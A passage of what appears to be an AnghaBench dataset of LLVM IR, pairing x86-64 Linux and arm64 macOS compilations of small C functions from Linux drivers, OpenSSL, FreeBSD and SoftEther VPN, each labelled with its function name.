"probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !12, i64 0} !11 = !{!"TYPE_4__", !12, i64 0, !7, i64 8} !12 = !{!"long", !8, i64 0} !13 = !{!12, !12, i64 0} !14 = !{!11, !7, i64 8}
esp-idf_components_esp_adc_cal_extr_esp_adc_cal.c_esp_adc_cal_get_voltage
; ModuleID = 'AnghaBench/linux/drivers/crypto/ccp/extr_sp-pci.c_sp_pci_init.c' source_filename = "AnghaBench/linux/drivers/crypto/ccp/extr_sp-pci.c_sp_pci_init.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @sp_pci_driver = dso_local global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local i32 @sp_pci_init() local_unnamed_addr #0 { %1 = tail call i32 @pci_register_driver(ptr noundef nonnull @sp_pci_driver) #2 ret i32 %1 } declare i32 @pci_register_driver(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/linux/drivers/crypto/ccp/extr_sp-pci.c_sp_pci_init.c' source_filename = "AnghaBench/linux/drivers/crypto/ccp/extr_sp-pci.c_sp_pci_init.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @sp_pci_driver = common global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define i32 @sp_pci_init() local_unnamed_addr #0 { %1 = tail call i32 @pci_register_driver(ptr noundef nonnull @sp_pci_driver) #2 ret i32 %1 } declare i32 @pci_register_driver(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
linux_drivers_crypto_ccp_extr_sp-pci.c_sp_pci_init
; ModuleID = 'AnghaBench/openssl/crypto/ts/extr_ts_req_utils.c_TS_REQ_set_version.c' source_filename = "AnghaBench/openssl/crypto/ts/extr_ts_req_utils.c_TS_REQ_set_version.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" ; Function Attrs: nounwind uwtable define dso_local i32 @TS_REQ_set_version(ptr nocapture noundef readonly %0, i64 noundef %1) local_unnamed_addr #0 { %3 = load i32, ptr %0, align 4, !tbaa !5 %4 = tail call i32 @ASN1_INTEGER_set(i32 noundef %3, i64 noundef %1) #2 ret i32 %4 } declare i32 @ASN1_INTEGER_set(i32 noundef, i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"TYPE_3__", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/openssl/crypto/ts/extr_ts_req_utils.c_TS_REQ_set_version.c' source_filename = "AnghaBench/openssl/crypto/ts/extr_ts_req_utils.c_TS_REQ_set_version.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" ; Function Attrs: nounwind ssp uwtable(sync) define i32 @TS_REQ_set_version(ptr nocapture noundef readonly %0, i64 noundef %1) local_unnamed_addr #0 { %3 = load i32, ptr %0, align 4, !tbaa !6 %4 = tail call i32 @ASN1_INTEGER_set(i32 noundef %3, i64 noundef %1) #2 ret i32 %4 } declare i32 @ASN1_INTEGER_set(i32 noundef, i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"TYPE_3__", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"}
openssl_crypto_ts_extr_ts_req_utils.c_TS_REQ_set_version
; ModuleID = 'AnghaBench/freebsd/sys/arm/freescale/vybrid/extr_vf_edma.c_edma_err_intr.c' source_filename = "AnghaBench/freebsd/sys/arm/freescale/vybrid/extr_vf_edma.c_edma_err_intr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @DMA_ERR = dso_local local_unnamed_addr global i32 0, align 4 @DMA_CERR = dso_local local_unnamed_addr global i32 0, align 4 @CERR_CAEI = dso_local local_unnamed_addr global i32 0, align 4 @DMA_ES = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @edma_err_intr], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @edma_err_intr(ptr noundef %0) #0 { %2 = load i32, ptr @DMA_ERR, align 4, !tbaa !5 %3 = tail call i32 @READ4(ptr noundef %0, i32 noundef %2) #2 %4 = load i32, ptr @DMA_CERR, align 4, !tbaa !5 %5 = load i32, ptr @CERR_CAEI, align 4, !tbaa !5 %6 = tail call i32 @WRITE1(ptr noundef %0, i32 noundef %4, i32 noundef %5) #2 ret void } declare i32 @READ4(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @WRITE1(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/freebsd/sys/arm/freescale/vybrid/extr_vf_edma.c_edma_err_intr.c' source_filename = "AnghaBench/freebsd/sys/arm/freescale/vybrid/extr_vf_edma.c_edma_err_intr.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @DMA_ERR = common local_unnamed_addr global i32 0, align 4 @DMA_CERR = common local_unnamed_addr global i32 0, align 4 @CERR_CAEI = common local_unnamed_addr global i32 0, align 4 @DMA_ES = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @edma_err_intr], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @edma_err_intr(ptr noundef %0) #0 { %2 = load i32, ptr @DMA_ERR, align 4, !tbaa !6 %3 = tail call i32 @READ4(ptr noundef %0, i32 noundef %2) #2 %4 = load i32, ptr @DMA_CERR, align 4, !tbaa !6 %5 = load i32, ptr @CERR_CAEI, align 4, !tbaa !6 %6 = tail call i32 @WRITE1(ptr noundef %0, i32 noundef %4, i32 noundef %5) #2 ret void } declare i32 @READ4(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @WRITE1(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
freebsd_sys_arm_freescale_vybrid_extr_vf_edma.c_edma_err_intr
; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/via/extr_via_verifier.c_via_parse_vheader5.c' source_filename = "AnghaBench/linux/drivers/gpu/drm/via/extr_via_verifier.c_via_parse_vheader5.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @VIA_VIDEOMASK = dso_local local_unnamed_addr global i32 0, align 4 @state_command = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @via_parse_vheader5], section "llvm.metadata" ; Function Attrs: inlinehint nounwind uwtable define internal i32 @via_parse_vheader5(ptr noundef %0, ptr nocapture noundef %1, ptr nocapture readnone %2) #0 { %4 = load ptr, ptr %1, align 8, !tbaa !5 %5 = getelementptr inbounds i32, ptr %4, i64 1 %6 = load i32, ptr %4, align 4, !tbaa !9 %7 = load i32, ptr @VIA_VIDEOMASK, align 4, !tbaa !9 %8 = xor i32 %7, -1 %9 = and i32 %6, %8 %10 = load i32, ptr %5, align 4, !tbaa !9 %11 = getelementptr inbounds i32, ptr %4, i64 4 %12 = icmp eq i32 %10, 0 br i1 %12, label %21, label %13 13: ; preds = %3, %13 %14 = phi ptr [ %17, %13 ], [ %11, %3 ] %15 = phi i32 [ %16, %13 ], [ %10, %3 ] %16 = add nsw i32 %15, -1 %17 = getelementptr inbounds i32, ptr %14, i64 1 %18 = load i32, ptr %14, align 4, !tbaa !9 %19 = tail call i32 @via_write(ptr noundef %0, i32 noundef %9, i32 noundef %18) #2 %20 = icmp eq i32 %16, 0 br i1 %20, label %21, label %13, !llvm.loop !11 21: ; preds = %13, %3 %22 = phi ptr [ %11, %3 ], [ %17, %13 ] %23 = and i32 %10, 3 %24 = icmp eq i32 %23, 0 %25 = sub nuw nsw i32 4, %23 %26 = select i1 %24, i32 0, i32 %25 %27 = zext nneg i32 %26 to i64 %28 = getelementptr inbounds i32, ptr %22, i64 %27 store ptr %28, ptr %1, align 8, !tbaa !5 %29 = load i32, ptr @state_command, align 4, !tbaa !9 ret i32 %29 } declare i32 @via_write(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"any pointer", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"int", !7, i64 0} !11 = distinct !{!11, !12} !12 = !{!"llvm.loop.mustprogress"}
; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/via/extr_via_verifier.c_via_parse_vheader5.c' source_filename = "AnghaBench/linux/drivers/gpu/drm/via/extr_via_verifier.c_via_parse_vheader5.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @VIA_VIDEOMASK = common local_unnamed_addr global i32 0, align 4 @state_command = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @via_parse_vheader5], section "llvm.metadata" ; Function Attrs: inlinehint nounwind ssp uwtable(sync) define internal i32 @via_parse_vheader5(ptr noundef %0, ptr nocapture noundef %1, ptr nocapture readnone %2) #0 { %4 = load ptr, ptr %1, align 8, !tbaa !6 %5 = getelementptr inbounds i8, ptr %4, i64 4 %6 = load i32, ptr %4, align 4, !tbaa !10 %7 = load i32, ptr @VIA_VIDEOMASK, align 4, !tbaa !10 %8 = xor i32 %7, -1 %9 = and i32 %6, %8 %10 = load i32, ptr %5, align 4, !tbaa !10 %11 = getelementptr inbounds i8, ptr %4, i64 16 %12 = icmp eq i32 %10, 0 br i1 %12, label %21, label %13 13: ; preds = %3, %13 %14 = phi ptr [ %17, %13 ], [ %11, %3 ] %15 = phi i32 [ %16, %13 ], [ %10, %3 ] %16 = add nsw i32 %15, -1 %17 = getelementptr inbounds i8, ptr %14, i64 4 %18 = load i32, ptr %14, align 4, !tbaa !10 %19 = tail call i32 @via_write(ptr noundef %0, i32 noundef %9, i32 noundef %18) #2 %20 = icmp eq i32 %16, 0 br i1 %20, label %21, label %13, !llvm.loop !12 21: ; preds = %13, %3 %22 = phi ptr [ %11, %3 ], [ %17, %13 ] %23 = and i32 %10, 3 %24 = icmp eq i32 %23, 0 %25 = sub nuw nsw i32 4, %23 %26 = select i1 %24, i32 0, i32 %25 %27 = zext nneg i32 %26 to i64 %28 = getelementptr inbounds i32, ptr %22, i64 %27 store ptr %28, ptr %1, align 8, !tbaa !6 %29 = load i32, ptr @state_command, align 4, !tbaa !10 ret i32 %29 } declare i32 @via_write(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"int", !8, i64 0} !12 = distinct !{!12, !13} !13 = !{!"llvm.loop.mustprogress"}
linux_drivers_gpu_drm_via_extr_via_verifier.c_via_parse_vheader5
; ModuleID = 'AnghaBench/SoftEtherVPN/src/Cedar/extr_Admin.c_InRpcConfig.c' source_filename = "AnghaBench/SoftEtherVPN/src/Cedar/extr_Admin.c_InRpcConfig.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_4__ = type { i32, i32 } @.str = private unnamed_addr constant [9 x i8] c"FileName\00", align 1 @.str.1 = private unnamed_addr constant [9 x i8] c"FileData\00", align 1 ; Function Attrs: nounwind uwtable define dso_local void @InRpcConfig(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = icmp eq ptr %0, null %4 = icmp eq ptr %1, null %5 = or i1 %3, %4 br i1 %5, label %15, label %6 6: ; preds = %2 %7 = tail call i32 @Zero(ptr noundef nonnull %0, i32 noundef 8) #2 %8 = getelementptr inbounds %struct.TYPE_4__, ptr %0, i64 0, i32 1 %9 = load i32, ptr %8, align 4, !tbaa !5 %10 = tail call i32 @PackGetStr(ptr noundef nonnull %1, ptr noundef nonnull @.str, i32 noundef %9, i32 noundef 4) #2 %11 = tail call i64 @PackGetDataSize(ptr noundef nonnull %1, ptr noundef nonnull @.str.1) #2 %12 = add nsw i64 %11, 1 %13 = tail call i32 @ZeroMalloc(i64 noundef %12) #2 store i32 %13, ptr %0, align 4, !tbaa !10 %14 = tail call i32 @PackGetData(ptr noundef nonnull %1, ptr noundef nonnull @.str.1, i32 noundef %13) #2 br label %15 15: ; preds = %2, %6 ret void } declare i32 @Zero(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @PackGetStr(ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i64 @PackGetDataSize(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @ZeroMalloc(i64 noundef) local_unnamed_addr #1 declare i32 @PackGetData(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 4} !6 = !{!"TYPE_4__", !7, i64 0, !7, i64 4} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!6, !7, i64 0}
; ModuleID = 'AnghaBench/SoftEtherVPN/src/Cedar/extr_Admin.c_InRpcConfig.c' source_filename = "AnghaBench/SoftEtherVPN/src/Cedar/extr_Admin.c_InRpcConfig.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [9 x i8] c"FileName\00", align 1 @.str.1 = private unnamed_addr constant [9 x i8] c"FileData\00", align 1 ; Function Attrs: nounwind ssp uwtable(sync) define void @InRpcConfig(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = icmp eq ptr %0, null %4 = icmp eq ptr %1, null %5 = or i1 %3, %4 br i1 %5, label %15, label %6 6: ; preds = %2 %7 = tail call i32 @Zero(ptr noundef nonnull %0, i32 noundef 8) #2 %8 = getelementptr inbounds i8, ptr %0, i64 4 %9 = load i32, ptr %8, align 4, !tbaa !6 %10 = tail call i32 @PackGetStr(ptr noundef nonnull %1, ptr noundef nonnull @.str, i32 noundef %9, i32 noundef 4) #2 %11 = tail call i64 @PackGetDataSize(ptr noundef nonnull %1, ptr noundef nonnull @.str.1) #2 %12 = add nsw i64 %11, 1 %13 = tail call i32 @ZeroMalloc(i64 noundef %12) #2 store i32 %13, ptr %0, align 4, !tbaa !11 %14 = tail call i32 @PackGetData(ptr noundef nonnull %1, ptr noundef nonnull @.str.1, i32 noundef %13) #2 br label %15 15: ; preds = %2, %6 ret void } declare i32 @Zero(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @PackGetStr(ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i64 @PackGetDataSize(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @ZeroMalloc(i64 noundef) local_unnamed_addr #1 declare i32 @PackGetData(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 4} !7 = !{!"TYPE_4__", !8, i64 0, !8, i64 4} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!7, !8, i64 